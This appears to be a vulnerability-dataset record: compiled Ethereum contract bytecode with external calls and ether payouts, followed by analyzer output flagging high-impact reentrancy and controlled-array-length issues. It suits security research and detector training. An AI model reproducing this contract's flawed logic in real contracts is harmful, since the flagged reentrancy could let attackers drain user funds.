110151561096b57fe5b90600052602060002090600202016000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16908060010154905082565b60065481565b6000803073ffffffffffffffffffffffffffffffffffffffff16319150600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16633ccfd60b620f42406040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401600060405180830381600088803b158015610a5c57600080fd5b5087f1158015610a70573d6000803e3d6000fd5b5050505050813073ffffffffffffffffffffffffffffffffffffffff1631039050806003600082825401925050819055507fd7cefab74b4b11d01e168f9d1e2a28e7bf8263c3acf9b9fdb802fa666a49455b816040518082815260200191505060405180910390a15050565b6000600654905090565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000806000803073ffffffffffffffffffffffffffffffffffffffff16319350600184111515610b3b57600080fd5b8360026000828254019250508190555066038d7ea4c68000671bc16d674ec8000085811515610b6657fe5b040192508284039350600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f088d54784620f424090336040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019150506020604051808303818589803b158015610c3157600080fd5b5088f1158015610c45573d6000803e3d6000fd5b5050505050506040513d6020811015610c5d57600080fd5b810190808051906020019092919050505091507f350df6fcc944b226b77efc36902e19b43c566d75173622086e809d46dfbc22208383604051808381526020018281526020019250505060405180910390a15b6000841115611021576007600554815481101515610cca57fe5b9060005260206000209060020201600101548410610d0a576007600554815481101515610cf357fe5b906000526020600020906002020160010154610d0c565b835b90506000811115610fec5780840393508060066000828254039250508190555080600860006007600554815481101515610d4257fe5b906000526020600020906002020160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550806007600554815481101515610dcd57fe5b9060005260206000209060020201600101600082825403925050819055506007600554815481101515610dfc57fe5b906000526020600020906002020160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681620f424090604051600060405180830381858888f1935050505015610f16577f9b5d1a613fa5f0790b36b13103706e31fca06b229d87e9915b29fc20c1d76490816007600554815481101515610e9757fe5b906000526020600020906002020160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16604051808381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a1610feb565b80840193508060066000828254019250508190555080600860006007600554815481101515610f4157fe5b906000526020600020906002020160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550806007600554815481101515610fcc57fe5b9060005260206000209060020201600101600082825401925050819055505b5b60008411156110075760016005600082825401925050819055505b60078054905060055410151561101c57611022565b610cb0565b5b50505050565b60055481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561108a57600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663949e8acd6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b15801561119b57600080fd5b505af11580156111af573d6000803e3d6000fd5b505050506040513d60208110156111c557600080fd5b8101908080519060200190929190505050905090565b6000600354905090565b600060055460078054905003905090565b6000600780549050905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561125e57600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156112ff57600080fd5b83600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561135d57600080fd5b8473ffffffffffffffffffffffffffffffffffffffff1663a9059cbb85856040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561140057600080fd5b505af1158015611414573d6000803e3d6000fd5b505050506040513d602081101561142a57600080fd5b81019080805190602001909291905050509150509392505050565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600254905090565b600860205280600052604060002060009150905054815600a165627a7a723058201e4a1636f3d50c13aff4d627c9a80b4d0530209913237d3d86d1439d3b9aebf80029
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
8,599